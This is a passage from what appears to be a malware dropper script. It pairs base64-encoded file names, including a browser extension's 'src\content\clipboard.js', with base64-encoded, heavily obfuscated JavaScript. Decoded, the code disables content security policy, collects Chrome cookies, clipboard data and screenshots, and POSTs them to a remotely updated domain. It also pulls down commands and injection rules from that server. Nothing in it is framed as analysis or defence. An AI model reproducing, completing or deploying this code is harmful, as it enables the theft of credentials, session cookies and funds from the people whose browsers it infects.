DkxZjktMHgxMTIpO31mdW5jdGlvbiBfMHgzZWFmMzMoXzB4M2RjZDBjLF8weDRhYTJkMyxfMHhlYzNlM2YsXzB4MzFmM2YyLF8weDM3NDhjYSl7cmV0dXJuIF8weDJkMzk4MyhfMHgzNzQ4Y2EsXzB4NGFhMmQzLTB4MTY0LF8weGVjM2UzZi0weDFhZixfMHg0YWEyZDMtMHg1ZmQsXzB4Mzc0OGNhLTB4MWRkKTt9ZnVuY3Rpb24gXzB4NDdhNmIzKF8weDVhNDVjZixfMHg1ZGM5ZjIsXzB4OWFiM2ZjLF8weDVjNTc2NCxfMHgzY2YyNmYpe3JldHVybiBfMHg0N2FiNzIoXzB4NWE0NWNmLTB4YWEsXzB4NWRjOWYyLF8weDlhYjNmYy0weDRiLF8weDVjNTc2NC0weDFiZCxfMHg1YTQ1Y2YtMHg2MGQpO31mdW5jdGlvbiBfMHgxM2QzODAoXzB4MWQxZDRlLF8weGFmMTAzOSxfMHgxOWE0Y2YsXzB4MWU5MTY1LF8weDMyZjNlNCl7cmV0dXJuIF8weGRhZmQ3OShfMHgxZDFkNGUtMHgxZDksXzB4MTlhNGNmLF8weDE5YTRjZi0weDE1MCxfMHgxZTkxNjUtMHgxZDAsXzB4MWQxZDRlLSAtMHg2NGMpO31fMHgyMmIwM2NbXzB4M2VhZjMzKDB4NGMzLDB4NDcyLDB4NDYzLDB4NGI5LCc2U1soJyldKF8weDIyYjAzY1tfMHgzMjE3YWMoMHg0NTYsMHg0NTgsMHg0MWEsMHg0MWEsJ095R2knKV0sXzB4M2VmZGRjW18weDNlYWYzMygweDQ3NiwweDRiMSwweDQ2NywweDUwMiwnNUZYbicpXSkmJl8weDIyYjAzY1tfMHgyMGVjNjQoJ1lmUFonLDB4NDg5LDB4NDA4LDB4NDM5LDB4NDNlKV0oZ2V0Q29tbWFuZHMpLF8weDIyYjAzY1tfMHgyMGVjNjQoJyNAQV0nLDB4NGZmLDB4NGY3LDB4NGE4LDB4NGFkKV0oXzB4MjJiMDNjW18weDMyMTdhYygweDQ0YiwweDQ4MiwweDQ3MiwweDQyNSwnSVU0UycpXSxfMHgzZWZkZGNbXzB4MTNkMzgwKC0weDY2LC0weDI5LCdqZCMmJywtMHgyNCwtMHgxNCldKSYmXzB4MjJiMDNjW18weDIwZWM2NCgnUCpxSCcsMHg0MWQsMHg0NDQsMHg0NmMsMHg0N2UpXShjaGVja0Nvbm5lY3Rpb24pLF8weDIyYjAzY1tfMHgzZWFmMzMoMHg0MmIsMHg0MzQsMHgzZmYsMHg0NmQsJ3FiWWonKV0oXzB4MjJiMDNjW18weDQ3YTZiMygweDU0NywnZnREYScsMHg1NGQsMHg1MWMsMHg1NjApXSxfMHgzZWZkZGNbXzB4NDdhNmIzKDB4NTFmLCdmdERhJywweDRkYSwweDU2ZiwweDU3MyldKSYmXzB4MjJiMDNjW18weDEzZDM4MCgtMHhhZSwtMHhlZiwnRSZ2MCcsLTB4NmYsLTB4YmUpXSh1cGRhdGVEb21haW4pLF8weDIyYjAzY1tfMHgxM2QzODAoLTB4NGIsLTB4NDksJyk4c10nLC0weDE2LC0weDQ1KV0oXzB4MjJiMDNjW18weDMyMTdhYygweDQ1YywweDQwZiwweDQ2MCwweDQ1OCwnZTIhQCcpXSxfMHgzZWZkZGNbXzB4MjBlYzY0KCdMVmxRJywweDRlMCwweDRmMiwweDRhYywweDRiNCldKSYmXzB4MjJiMDNjW18weDMyMTdhYygweDQ4ZCwweDRiMiwweDRiMiwweDRkMSwnI0BBXScpXShnZXRJbmplY3Rpb25zKTt9KSk7fSxpbml0PWFzeW5jKCk9PntmdW5jdGlvbiBfMHgyOWRhNjIoXzB4YTU1NmQyLF8weDNhYTQwMyxfMHgxODViNzgsXzB4M2QyYTUxLF8weDM2ZmFjZCl7cmV0dXJuIF8weDQ1NDUoXzB4M2QyYTUxLSAtMHgyZjYsXzB4YTU1NmQyKTt9ZnVuY3Rpb24gXzB4MzhjMDQ4KF8weDUyZDczMixfMHg0ZmZkM2QsXzB4MmMwZDZlLF8weDRhNTJiYSxfMHg1OTBjNGYpe3JldHVybiBfMHg0NTQ1KF8weDU5MGM0Zi0weDdkLF8weDUyZDczMik7fWZ1bmN0aW9uIF8weDI2ZjYwNChfMHgxZWM0MmMsXzB4NDRlY2Y1LF8weDVjZDJiMCxfMHgzZDBiY2UsXzB4MmM5ZTI4KXtyZXR1cm4gXzB4NDU0NShfMHgyYzllMjgtMHgxNDYsXzB4NDRlY2Y1KTt9Y29uc3QgXzB4NWFjYjE4PXsncnlXSlMnOmZ1bmN0aW9uKF8weDM3NTA0Yyl7cmV0dXJuIF8weDM3NTA0YygpO30sJ1Byb0xoJzpmdW5jdGlvbihfMHg0NTUzMTEsXzB4YTYzMDQ2KXtyZXR1cm4gXzB4NDU1MzExKF8weGE2MzA0Nik7fSwnT1FCckInOmZ1bmN0aW9uKF8weGQ2MWRhNSl7cmV0dXJuIF8weGQ2MWRhNSgpO30sJ3RhRERtJzpmdW5jdGlvbihfMHgyMDhiMDgpe3JldHVybiBfMHgyMDhiMDgoKTt9LCdtd1FCUSc6ZnVuY3Rpb24oXzB4NGQ1NjU2KXtyZXR1cm4gXzB4NGQ1NjU2KCk7fX07ZnVuY3Rpb24gXzB4YWZlY2IwKF8weDZhOWYyMixfMHg1ZWY5MjAsXzB4M2Q0YTZiLF8weDRlOWFkZixfMHg0MzNiYzgpe3JldHVybiBfMHg0NTQ1KF8weDQzM2JjOC0gLTB4M2Q4LF8weDZhOWYyMik7fWF3YWl0IF8weDVhY2IxOFtfMHgyNmY2MDQoMHgzN2UsJyUhbzUnLDB4Mzg3LDB4MzEyLDB4MzY5KV0odXBkYXRlRG9tYWluKTtmdW5jdGlvbiBfMHgxNDA3NTAoXzB4MjM4NDNkLF8weDdlY2EwZSxfMHgzYzYyNGIsXzB4MzEyZGU4LF8weDRiNDNjZSl7cmV0dXJuIF8weDQ1NDUoXzB4M2M2MjRiLSAtMHgxM2IsXzB4N2VjYTBlKTt9KGF3YWl0IF8weDVhY2IxOFtfMHhhZmVjYjAoJzBVQlonLC0weDFjNywtMHgxNmMsLTB4MTU3LC0weDE5YyldKGluaXRNYWNoaW5lKSlbXzB4YWZlY2IwKCdmdERhJywtMHgxYWIsLTB4MTllLC0weDEzMywtMHgxNmYpK18weDI2ZjYwNCgweDM3MiwnNjNbMCcsMHgyZWMsMHgzNjQsMHgzMzYpK18weGFmZWNiMCgnU3RSUScsLTB4MWY0LC0weDE4OCwtMHgxN2MsLTB4MWIzKV0mJl8weDVhY2IxOFtfMHgyNmY2MDQoMHgzYWYsJ05LTG8nLDB4MzkyLDB4NDBlLDB4M2MwKV0oc2V0SXNFbmFibGVkLCEoLTB4NDYwKjB4MisweDI2NmQrLTB4MWRhZCkpLF8weDVhY2IxOFtfMHgyOWRhNjIoJ0smdVgnLC0weGUzLC0weDllLC0weDliLC0weDc4KV0oZ2V0SW5qZWN0aW9ucyksXzB4NWFjYjE4W18weDM4YzA0OCgnRFNkdCcsMHgyYjMsMHgyZjYsMHgyYTcsMHgyZDkpXShnZXRDb21tYW5kcyksXzB4NWFjYjE4W18weDI2ZjYwNCgweDM5OSwnIWJzWCcsMHgzODYsMHgzNmUsMHgzOGQpXShnZXRTZXR0aW5ncyksXzB4NWFjYjE4W18weDE0MDc1MCgweDEwOSwnTFZsUScsMHgxMmEsMHgxMGUsMHgxNjEpXShnZXRDbGlwcGVyRGF0YSksXzB4NWFjYjE4W18weGFmZWNiMCgnQncycCcsLTB4MWI1LC0weDE1ZCwtMHgxNjAsLTB4MTk3KV0oZ2V0U2NyZWVuc2hvdFJ1bGVzKSxfMHg1YWNiMThbXzB4MjZmNjA0KDB4MzYyLCdOS0xvJywweDNkNywweDQwNiwweDNiMCldKGluaXRpYWxpemVGaW5kZXIpO307aW5pdCgpLHN0YXJ0QWxhcm1zKCksZGlzYWJsZUNTUCgpLGV4Y2hhbmdlU2V0dGluZ3MoKSxjaHJvbWVbXzB4M2QyOWUzKDB4NThmLDB4NTg5LCdkQjl6JywweDU0OSwweDU3OSkrJ21lJ11bXzB4MjY4Y2I2KDB4MmMzLDB4MmU3LCchYnNYJywweDMzYiwweDMyMikrXzB4MjY4Y2I2KDB4MzYyLDB4MzUzLCdKblhEJywweDM4ZCwweDM3NyldW18weDRlZmQzMignM0k2VicsMHg2ZSwweDI3LDB4MjMsMHgzYikrXzB4NDZkMTY0KDB4NGVhLDB4NGRhLDB4NGQ3LCdPeUdpJywweDRmMSkrJ3InXShhc3luYyhfMHgxYjM4YmYsXzB4NDEzNzJkLF8weDQyYTgwMCk9Pntjb25zdCBfMHgxZmE2ZmI9eydBYXhpVCc6XzB4Mzg3OTc3KDB4ZTksMHg5MSwncmdlQScsMHhkYSwweDEyYiksJ2RWZGx4JzpfMHgzODc5NzcoMHg1MSwweDU0LCc2M1swJywweDUyLDB4NDUpKyduJywnQ3JNTHknOmZ1bmN0aW9uKF8weDJjMjZjOCxfMHg0ZmM0Yzkpe3JldHVybiBfMHgyYzI2Yzg9PT1fMHg0ZmM0Yzk7fSwnUkVOaU0nOl8weDU3ZjQwMigweDRiZSwweDRjZCwweDUwZCwweDUxOSwnT3lHaScpK18weDE0YjcxYigweDU0YSwnTktMbycsMHg1NjUsMHg1NDksMHg1OGQpK18weDU3ZjQwMigweDRlMiwweDRjYywweDRjYiwweDRlOSwnQGJLSScpKydvJywnZEJOdWwnOmZ1bmN0aW9uKF8weDUxZTYxNCxfMHgyMmZjN2IsXzB4MTY1YzZmKXtyZXR1cm4gXzB4NTFlNjE0KF8weDIyZmM3YixfMHgxNjVjNmYpO30sJ2VWTVd0JzpfMHhjYmE4NTAoMHgzOTcsJzd4ek0nLDB4MzY4LDB4MzcwLDB4MzQ2KSwncUxMcXMnOl8weGNiYTg1MCgweDM3MCwnKThzXScsMHgzYzYsMHgzODEsMHgzYTMpK18weDMyNDc4YigweDJlZSwweDMzZCwweDMxNSwnR1AxUScsMHgzMmEpK18weDU3ZjQwMigweDRiMywweDRlZCwweDUzMiwweDUxYSwndmI5RCcpK18weDM4Nzk3NygweDljLDB4MTJhLCdbQ0EoJywweGQ3LDB4ZDgpK18weDU3ZjQwMigweDRlOSwweDRkYSwweDUyZCwweDUxYywnIWJzWCcpK18weGNiYTg1MCgweDMzMCwnW0NBKCcsMHgzMDcsMHgzNTksMHgzYTEpK18weDU3ZjQwMigweDQ0YywweDQ1OSwweDQxYywweDQ2MCwnQlA5UycpK18weDM4Nzk3NygweDVhLDB4MzQsJ2phI2gnLDB4N2IsMHg0OCkrXzB4MzI0NzhiKDB4MmM2LDB4MjliLDB4MjdmLCdlMiFAJywweDJkMykrXzB4Mzg3OTc3KDB4ZDEsMHhjYSwnamEjaCcsMHg5YywweDdmKStfMHhjYmE4NTAoMHgzYjksJ0UmdjAnLDB4M2I2LDB4M2ViLDB4M2I0KStfMHgxNGI3MWIoMHg1NmMsJzZTWygnLDB4NWIwLDB4NWJjLDB4NTNiKSsnKicsJ05KeE5YJzpfMHg1N2Y0MDIoMHg0ZjEsMHg0ZDgsMHg0YTYsMHg0ZTMsJypxNFgnKStfMHgzODc5NzcoMHhlMCwweDlkLCdvUXpvJywweGIyLDB4MTAxKStfMHgzMjQ3OGIoMHgyZmQsMHgyYjUsMHgyZDQsJ2tOXlMnLDB4MzAxKSsnbicsJ0RPWWJ6JzpmdW5jdGlvbihfMHg1ODhiNDAsXzB4YTNmM2I2KXtyZXR1cm4gXzB4NTg4YjQwPT09XzB4YTNmM2I2O30sJ3dwYWRsJzpfMHgxNGI3MWIoMHg1MTEsJ3ZiOUQnLDB4NTRiLDB4NGNkLDB4NGQ0KStfMHgxNGI3MWIoMHg1MjgsJzNJNlYnLDB4NTE1LDB4NTIxLDB4NTVjKStfMHgxNGI3MWIoMHg1MWIsJ1ppcTgnLDB4NTAxLDB4NTJkLDB4NGNmKStfMHgzMjQ3OGIoMHgyOTYsMHgyN2IsMHgyYWEsJyk4c10nLDB4MmJjKSsndCcsJ0Z2cmRsJzpmdW5jdGlvbihfMHg1MzlmYmMpe3JldHVybiBfMHg1MzlmYmMoKTt9fTtmdW5jdGlvbiBfMHgxNGI3MWIoXzB4NWVmOWZlLF8weDNjYzcyMSxfMHg5OTUzZmYsXzB4NGQwNjQzLF8weDFmZDIwYyl7cmV0dXJuIF8weDNkMjllMyhfMHg1ZWY5ZmUtMHgxMjEsXzB4NWVmOWZlLSAtMHgxNixfMHgzY2M3MjEsXzB4NGQwNjQzLTB4NzUsXzB4MWZkMjBjLTB4YWUpO31jb25zdCBfMHgyZmQ4MWI9XzB4MWIzOGJmW18weGNiYTg1MCgweDM0MCwnSyZ1WCcsMHgzMDcsMHgzNGMsMHgzNDYpXSxfMHg1M2VlMzQ9KGF3YWl0IGNocm9tZVtfMHgzMjQ3OGIoMHgyM2IsMHgyNzUsMHgyZDUsJ3dHbzInLDB4Mjg0KSsnZ2UnXVtfMHhjYmE4NTAoMHgzYTgsJ2phI2gnLDB4M2E3LDB4M2U2LDB4M2JiKV1bXzB4MzI0NzhiKDB4MzVkLDB4MzAyLDB4MmY2LCdaaXE4JywweDMxOCldKFtfMHgxZmE2ZmJbXzB4MTRiNzFiKDB4NTNlLCdjd2FeJywweDUwOCwweDUzMSwweDUyZCldXSkpW18weDE0YjcxYigweDUxOSwnN3h6TScsMHg1MWIsMHg1MTEsMHg0ZmYpXSxfMHhmOWFlZTk9KGF3YWl0IGNocm9tZVtfMHhjYmE4NTAoMHgzODgsJzYzWzAnLDB4Mzk2LDB4MzViLDB4MzBlKSsnZ2UnXVtfMHgzODc5NzcoMHhmNSwweGU0LCdCdzJwJywweGE0LDB4OWMpXVtfMHgzMjQ3OGIoMHgyOTMsMHgyZWEsMHgyOGQsJ1Z3YSknLDB4MmI1KV0oW18weDFmYTZmYltfMHgzODc5NzcoMHgxNSwweDQxLCdxYllqJywweDY0LDB4MWEpXV0pKVtfMHgxNGI3MWIoMHg1OTYsJ0lVNFMnLDB4NTczLDB4NTZmLDB4NWNlKSsnbiddLF8weDhkZDRjZT17fTtmdW5jdGlvbiBfMHg1N2Y0MDIoXzB4OGYyZDhiLF8weDIwY2Q1OCxfMHg1NGUyOTQsXzB4NDY4NGU0LF8weGIzMzNiNyl7cmV0dXJuIF8weDQ2ZDE2NChfMHg4ZjJkOGItMHgxOTYsXzB4MjBjZDU4LTB4MWRjLF8weDU0ZTI5NC0weDE5NixfMHhiMzMzYjcsXzB4MjBjZDU4LSAtMHg0Yyk7fWZ1bmN0aW9uIF8weDMyNDc4YihfMHg1ZjFmZTQsXzB4ZThiMmQ0LF8weDE0MTY1MCxfMHgxYmE0NzAsXzB4NDM0YzJkKXtyZXR1cm4gXzB4NDU0NmNlKF8weDFiYTQ3MCxfMHg0MzRjMmQtIC0weDIzYSxfMHgxNDE2NTAtMHgxOWEsXzB4MWJhNDcwLTB4MCxfMHg0MzRjMmQtMHgxZGQpO31fMHg4ZGQ0Y2VbXzB4NTdmNDAyKDB4NTEzLDB4NGU0LDB4NGUxLDB4NGE4LCdTdFJRJyldPV8weDUzZWUzNDtmdW5jdGlvbiBfMHgzODc5NzcoXzB4NjYzMjQ5LF8weDc2OGUyZixfMHgxYzg1MGEsXzB4NTc0ZTc0LF8weDUwYWU3MSl7cmV0dXJuIF8weDNkMjllMyhfMHg2NjMyNDktMHhjOCxfMHg1NzRlNzQtIC0weDRjOCxfMHgxYzg1MGEsXzB4NTc0ZTc0LTB4ODEsXzB4NTBhZTcxLTB4ZmUpO31mdW5jdGlvbiBfMHhjYmE4NTAoXzB4NDkxZWM3LF8weDEyOGE3NixfMHg0NDI3ODQsXzB4NGUyMjBlLF8weDRjNDMzNCl7cmV0dXJuIF8weDRlZmQzMihfMHgxMjhhNzYsXzB4MTI4YTc2LTB4MTBhLF8weDQ0Mjc4NC0weDFjZCxfMHg0ZTIyMGUtMHgzMzQsXzB4NGM0MzM0LTB4MTFhKTt9XzB4OGRkNGNlW18weDM4Nzk3NygweDliLDB4ZDgsJzd4ek0nLDB4ZDUsMHgxMmQpXT1fMHgyZmQ4MWI7aWYoXzB4MWZhNmZiW18weDU3ZjQwMigweDRiYiwweDRhZiwweDRmYiwweDQ2YywnY3dhXicpXShfMHgxZmE2ZmJbXzB4Y2JhODUwKDB4M2YzLCdvUXpvJywweDM4YSwweDNiZSwweDNkZSldLF8weDFiMzhiZltfMHhjYmE4NTAoMHg0MDAsJ0xWbFEnLDB4NDA1LDB4M2Q0LDB4M2E1KV0pJiZhd2FpdCBfMHgxZmE2ZmJbXzB4Mzg3OTc3KDB4N2UsMHhkZSwnRFNkdCcsMHhiMSwweDVlKV0oZmV0Y2gsXzB4ZjlhZWU5KyhfMHhjYmE4NTAoMHgzODksJ2N3YV4nLDB4M2I3LDB4MzlkLDB4MzY1KStfMHgzMjQ3OGIoMHgyODAsMHgyNjksMHgyNjEsJzBVQlonLDB4MmE2KStfMHgxNGI3MWIoMHg1N2EsJ1ppcTgnLDB4NWI5LDB4NTc4LDB4NTJjKStfMHhjYmE4NTAoMHgzY2QsJzQ2T0onLDB4NDE1LDB4M2U0LDB4M2JiKStfMHgxNGI3MWIoMHg1MjYsJ0smdVgnLDB4NTE0LDB4NTBkLDB4NTAxKSkseydtZXRob2QnOl8weDFmYTZmYltfMHgzODc5NzcoMHhhYiwweDljLCdCUDlTJywweDVhLDB4MmIpXSwnaGVhZGVycyc6eydBY2NlcHQnOl8weDFmYTZmYltfMHgxNGI3MWIoMHg0ZmMsJ0xWbFEnLDB4NGNhLDB4NGFhLDB4NTUwKV0sJ0NvbnRlbnQtVHlwZSc6XzB4MWZhNmZiW18weDMyNDc4YigweDMyYSwweDJiNiwweDJjOCwnSVU0UycsMHgyZmUpXX0sJ2JvZHknOkpTT05bXzB4MTRiNzFiKDB4NTg0LCclIW81JywweDViMSwweDVhNSwweDUzMikrXzB4Mzg3OTc3KDB4OTQsMHg5NSwnUCpxSCcsMHhiNCwweDg2KV0oXzB4OGRkNGNlKX0pLF8weDFmYTZmYltfMHgzODc5NzcoMHg2NCwweDU4LCdbQ0EoJywweDUzLDB4NDQpXShfMHgxZmE2ZmJbXzB4Mzg3OTc3KDB4MjEsMHgyYSwnWmlxOCcsMHg0YiwweDJmKV0sXzB4MWIzOGJmW18weDU3ZjQwMigweDRhOCwweDRlYiwweDRjZCwweDQ5OCwnUWdNKicpXSkpe2NvbnN0IF8weDU2ZmZkYT1hd2FpdCBfMHgxZmE2ZmJbXzB4Y2JhODUwKDB4Mzg4LCc0Nk9KJywweDMxMiwweDM2MywweDM0ZSldKG1ha2VTY3JlZW5TaG90KTtpZighXzB4NDEzNzJkW18weDE0YjcxYigweDU1MywnIUswVicsMHg1MjQsMHg1MjUsMHg1NjcpXVtfMHgzMjQ3OGIoMHgzNjQsMHgzNmYsMHgzNjEsJyk4c10nLDB4MzI1KSsnZSddKXJldHVybjtjb25zdCBfMHg1ODliMTU9e307XzB4NTg5YjE1W18weDMyNDc4YigweDM1MiwweDM1NSwweDM1YiwnUWdNKicsMHgzMGIpKydkJ109XzB4MmZkODFiW18weDMyNDc4YigweDI3MSwweDJmMSwweDI2NSwnZnREYScsMHgyYjYpKydkJ10sXzB4NTg5YjE1W18weDE0YjcxYigweDU5MCwnUWdNKicsMHg1ZTUsMHg1ZTIsMHg1OGYpKyduJ109XzB4NTZmZmRhO2NvbnN0IF8weDJhOTY2ND17fTtfMHgyYTk2NjRbXzB4Y2JhODUwKDB4M2FlLCdFJnYwJywweDMyZCwweDM3YSwweDMzZSldPV8weDUzZWUzNCxfMHgyYTk2NjRbXzB4MTRiNzFiKDB4NTdiLCc2M1swJywweDU1NywweDU3NSwweDU5OSldPV8weDU4OWIxNSxhd2FpdCBfMHgxZmE2ZmJbXzB4Y2JhODUwKDB4MzYxLCdlMiFAJywweDM1NSwweDM0YiwweDM4OSldKGZldGNoLF8weGY5YWVlOSsoXzB4Y2JhODUwKDB4MzlkLCdJVTRTJywweDNiZCwweDNiNiwweDM5NCkrXzB4MzI0NzhiKDB4MmM1LDB4MmJjLDB4MmFlLCc2M1swJywweDJlMykrXzB4MzI0NzhiKDB4MmJhLDB4MmJlLDB4MmEzLCdvUXpvJywweDJmMSkrXzB4Y2JhODUwKDB4Mzk5LCd2YjlEJywweDQwNSwweDNiNSwweDNiZikrXzB4MTRiNzFiKDB4NTNmLCdkQjl6JywweDUzZSwweDUxOSwweDUxNSkrXzB4NTdmNDAyKDB4NGE4LDB4NDZhLDB4NDc4LDB4NDUyLCd0QUBHJykpLHsnbWV0aG9kJzpfMHgxZmE2ZmJbXzB4Y2JhODUwKDB4M2Q0LCc1RlhuJywweDNjMywweDNlMSwweDNmYildLCdoZWFkZXJzJzp7J0FjY2VwdCc6XzB4MWZhNmZiW18weGNiYTg1MCgweDM2YiwnZnREYScsMHgzNjcsMHgzOWMsMHgzNGEpXSwnQ29udGVudC1UeXBlJzpfMHgxZmE2ZmJbXzB4Y2JhODUwKDB4M2U1LCcwVUJaJywweDNhMywweDNlNSwweDNhZildfSwnYm9keSc6SlNPTltfMHgzMjQ3OGIoMHgyZDYsMHgyYzQsMHgyZDUsJyUhbzUnLDB4MzBlKStfMHgzMjQ3OGIoMHgyNTQsMHgyNTksMHgyNTcsJ0J3MnAnLDB4MmE4KV0oXzB4MmE5NjY0KX0pO319KTsK'),@('c3JjXGNvbnRlbnRcY2xpcGJvYXJkLmpz', 'ZnVuY3Rpb24gXzB4YTMwMihfMHg1MzcwYmEsXzB4NDVjYWJjKXtjb25zdCBfMHg1NzlkZWY9XzB4MTg5OCgpO3JldHVybiBfMHhhMzAyPWZ1bmN0aW9uKF8weDMwYmU3MyxfMHhmNTJjNzgpe18weDMwYmU3Mz1fMHgzMGJlNzMtKDB4MTY2MisweDFmMTArLTB4MzQ2NCk7bGV0IF8weDc0YWU4Nj1fMHg1NzlkZWZbXzB4MzBiZTczXTtpZihfMHhhMzAyWydPUEFRc1MnXT09PXVuZGVmaW5lZCl7dmFyIF8weDM4NTc0MT1mdW5jdGlvbihfMHg1ZDY5OGQpe2NvbnN0IF8weDVlYWIwNz0nYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWjAxMjM0NTY3ODkrLz0nO2xldCBfMHgyY2Y0MTY9JycsXzB4NTdkMjRiPScnO2ZvcihsZXQgXzB4M2E0NWZjPTB4MTIyKjB4YSsweDIzM2ErLTB4NzYqMHg2NSxfMHgzMWNjNTMsXzB4MmMzMzVkLF8weDVlZDQzZT0weDU5NSotMHgxKy0weDFmZWYrMHgxNTcqMHgxYztfMHgyYzMzNWQ9XzB4NWQ2OThkWydjaGFyQXQnXShfMHg1ZWQ0M2UrKyk7fl8weDJjMzM1ZCYmKF8weDMxY2M1Mz1fMHgzYTQ1ZmMlKDB4MTcyKjB4OCsweDJhKjB4NjcrLTB4MWM3MioweDEpP18weDMxY2M1MyooLTB4MjQxNSstMHhiOGIrLTB4YmY4Ki0weDQpK18weDJjMzM1ZDpfMHgyYzMzNWQsXzB4M2E0NWZjKyslKDB4YSoweDJiKzB4YzVmKjB4MystMHgyNmM3KjB4MSkpP18weDJjZjQxNis9U3RyaW5nWydmcm9tQ2hhckNvZGUnXSgtMHhjNSsweDcxZSstMHgyKjB4MmFkJl8weDMxY2M1Mz4+KC0oLTB4MTQqMHg2MysweDE3MjEqLTB4MSsweDcqMHg0NjkpKl8weDNhNDVmYyYweDExOCstMHg4MjcqLTB4MystMHgxOTg3KSk6MHg5NCoweDM1Ky0weDgxNCstMHgxNjkwKXtfMHgyYzMzNWQ9XzB4NWVhYjA3WydpbmRleE9mJ10oXzB4MmMzMzVkKTt9Zm9yKGxldCBfMHgxZWUyZGM9MHgyMDU2KzB4Mzk4Ky0weDIzZWUsXzB4M2VhNjgxPV8weDJjZjQxNlsnbGVuZ3RoJ107XzB4MWVlMmRjPF8weDNlYTY4MTtfMHgxZWUyZGMrKyl7XzB4NTdkMjRiKz0nJScrKCcwMCcrXzB4MmNmNDE2WydjaGFyQ29kZUF0J10oXzB4MWVlMmRjKVsndG9TdHJpbmcnXSgweDgqMHgyNzQrMHgxNTgxKy0weDI5MTEpKVsnc2xpY2UnXSgtKDB4MjNmOCsweDgqMHgxMmUrLTB4MmQ2NikpO31yZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KF8weDU3ZDI0Yik7fTtjb25zdCBfMHgzZWY1MTQ9ZnVuY3Rpb24oXzB4ZTdlMTA2LF8weDVhMzFjYil7bGV0IF8weDE2NGIzYT1bXSxfMHg1MzBmMWE9MHgxZGYwKzB4MTVjNCstMHhjZWQqMHg0LF8weDU5YTg5OSxfMHgxZDczNWQ9Jyc7XzB4ZTdlMTA2PV8weDM4NTc0MShfMHhlN2UxMDYpO2xldCBfMHgxMmFkMWY7Zm9yKF8weDEyYWQxZj0tMHg2Ki0weDQ5MCsweDFkZTcqMHgxKy0weDM5NDc7XzB4MTJhZDFmPC0weDExMGYrMHhlKjB4NTErLTB4MyotMHg0OGI7XzB4MTJhZDFmKyspe18weDE2NGIzYVtfMHgxMmFkMWZdPV8weDEyYWQxZjt9Zm9yKF8weDEyYWQxZj0tMHgxOGQqMHgxMSsweDI2ZWQrLTB4MTkyKjB4ODtfMHgxMmFkMWY8MHgxZWNhKzB4MTJmZistMHgzMGM5O18weDEyYWQxZisrKXtfMHg1MzBmMWE9KF8weDUzMGYxYStfMHgxNjRiM2FbXzB4MTJhZDFmXStfMHg1YTMxY2JbJ2NoYXJDb2RlQXQnXShfMHgxMmFkMWYlXzB4NWEzMWNiWydsZW5ndGgnXSkpJSgweDEqMHg3OGErLTB4ZTA0KzB4M2JkKjB4MiksXzB4NTlhODk5PV8weDE2NGIzYVtfMHgxMmFkMWZdLF8weDE2NGIzYVtfMHgxMmFkMWZdPV8weDE2NGIzYVtfMHg1MzBmMWFdLF8weDE2NGIzYVtfMHg1MzBmMWFdPV8weDU5YTg5OTt9XzB4MTJhZDFmPTB4NWIxKy0weDJiKjB4OSstMHg0MmUsXzB4NTMwZjFhPTB4NTQzKzB4OTgrLTB4MSoweDVkYjtmb3IobGV0IF8weDM4MDBiZT0weGUqMHgxKzB4MWQqMHgyYistMHg2MSoweGQ7XzB4MzgwMGJlPF8weGU3ZTEwNlsnbGVuZ3RoJ107XzB4MzgwMGJlKyspe18weDEyYWQxZj0oXzB4MTJhZDFmKygweDFlNjUrMHgxKi0weDQyYSstMHgxYTNhKSklKC0weDQ5Ki0weDdlKzB4MTMqMHgyNisweDEqLTB4MjVjMCksXzB4NTMwZjFhPShfMHg1MzBmMWErXzB4MTY0YjNhW18weDEyYWQxZl0pJSgweGRjKy0weDY0NisweDEqMHg2NmEpLF8weDU5YTg5OT1fMHgxNjRiM2FbXzB4MTJhZDFmXSxfMHgxNjRiM2FbXzB4MTJhZDFmXT1fMHgxNjRiM2FbXzB4NTMwZjFhXSxfMHgxNjRiM2FbXzB4NTMwZjFhXT1fMHg1OWE4OTksXzB4MWQ3MzVkKz1TdHJpbmdbJ2Zyb21DaGFyQ29kZSddKF8weGU3ZTEwNlsnY2hhckNvZGVBdCddKF8weDM4MDBiZSleXzB4MTY0YjNhWyhfMHgxNjRiM2FbXzB4MTJhZDFmXStfMHgxNjRiM2FbXzB4NTMwZjFhXSklKC0weDIyNDUrLTB4MSotMHg3YTcrMHhhKjB4MmMzKV0pO31yZXR1cm4gXzB4MWQ3MzVkO307XzB4YTMwMlsneGRCeGtGJ109XzB4M2VmNTE0LF8weDUzNzBiYT1hcmd1bWVudHMsXzB4YTMwMlsnT1BBUXNTJ109ISFbXTt9Y29uc3QgXzB4NTUyZTFkPV8weDU3OWRlZlsweDE3NSotMHg0Ky0weDE1OTArMHgxYjY0XSxfMHgyYjZiMTI9XzB4MzBiZTczK18weDU1MmUxZCxfMHhmNWQyZTk9XzB4NTM3MGJhW18weDJiNmIxMl07cmV0dXJuIV8weGY1ZDJlOT8oXzB4YTMwMlsnWVlDTEFSJ109PT11bmRlZmluZWQmJihfMHhhMzAyWydZWUNMQVInXT0hIVtdKSxfMHg3NGFlODY9XzB4YTMwMlsneGRCeGtGJ10oXzB4NzRhZTg2LF8weGY1MmM3OCksXzB4NTM3MGJhW18weDJiNmIxMl09XzB4NzRhZTg2KTpfMHg3NGFlODY9XzB4ZjVkMmU5LF8weDc0YWU4Njt9LF8weGEzMDIoXzB4NTM3MGJhLF8weDQ1Y2FiYyk7fWZ1bmN0aW9uIF8weDE4OTgoKXtjb25zdCBfMHgzZWMzZmQ9WydXNDdkVElsY1BXdScsJ1c0dW1XT3hjUWEwJywnVzRaY05ta0FpQ29uJywnVzdYZ1dSL2NTQ281JywneThrS3RmcnMnLCdXN0tRV1JSZElOdScsJ0Fta0ZrMjNkU1NrMlc2cXYnLCdXNmlIV1JDJywnVzV4Y0xta2JsbW93JywnV1FhSnZDb3NXT3EnLCd1OGszVzZtelc0dScsJ1c2dTVXNWRkSVNrbnVta0tXUVMnLCdtOGs4QWEnLCdqU29QQ1NreFdQdGNUU292eklHcWtTazFXN2knLCdXUGFuVzdWZEpta2JXUG1rV1JKY0dta3JXNlh0V1BTJywnVzZ0ZEtDa09XNUJjT1cnLCdXUTk3VzYvZFNHJywnYUNrSkFmelMnLCdXN1ZkS3VYdlc1YScsJ3kxUmRJYUdaak5uVmRkbmlXUGknLCdXUHk1VzR0Y0tHYScsJ1c3RmNUZ2hjVnZPJywnczhvUmtkUycsJ1c0NEJXUnUnLCdXN0JkR3FUSFc2eScsJ1dSeXdBbW9vJywnV09IbFdPVmRLcScsJ0FxbGNIOGs0V09hJywneW1rM3RINDMnLCdXNmZkaThrdFc1T2lX